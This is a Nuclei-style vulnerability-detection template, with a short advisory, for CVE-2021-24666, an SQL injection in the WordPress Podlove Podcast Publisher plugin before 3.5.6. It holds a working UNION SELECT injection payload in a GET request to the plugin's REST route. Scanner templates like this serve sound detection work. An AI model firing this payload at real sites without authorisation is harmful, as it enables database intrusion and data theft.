WordPress Podlove Podcast Publisher plugin before 3.5.6 is susceptible to SQL injection. The Social & Donations module, not activated by default, adds the REST route /services/contributor/(?P<id>[\d]+) and takes id and category parameters as arguments. Both parameters can be exploited, thereby potentially enabling an attacker to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
PoC代码[已公开]
id: CVE-2021-24666
info:
name: WordPress Podlove Podcast Publisher <3.5.6 - SQL Injection
author: theamanrawat
severity: critical
description: |
WordPress Podlove Podcast Publisher plugin before 3.5.6 is susceptible to SQL injection. The Social & Donations module, not activated by default, adds the REST route /services/contributor/(?P<id>[\d]+) and takes id and category parameters as arguments. Both parameters can be exploited, thereby potentially enabling an attacker to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
remediation: Fixed in version 3.5.6.
reference:
- https://wpscan.com/vulnerability/fb4d7988-60ff-4862-96a1-80b1866336fe
- https://wordpress.org/plugins/podlove-podcasting-plugin-for-wordpress/
- https://github.com/podlove/podlove-publisher/commit/aa8a343a2e2333b34a422f801adee09b020c6d76
- https://nvd.nist.gov/vuln/detail/CVE-2021-24666
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-24666
cwe-id: CWE-89
epss-score: 0.7791
epss-percentile: 0.98972
cpe: cpe:2.3:a:podlove:podlove_podcast_publisher:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: podlove
product: podlove_podcast_publisher
framework: wordpress
tags: cve2021,cve,sqli,wordpress,wp-plugin,wp,podlove-podcasting-plugin-for-wordpress,wpscan,podlove
http:
- method: GET
path:
- "{{BaseURL}}/index.php?rest_route=/podlove/v1/social/services/contributor/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666'),NULL,NULL,NULL--%20-"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '66a82937a7660b73b00d4f7cefee6c85'
- '"service_id"'
condition: and
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 200
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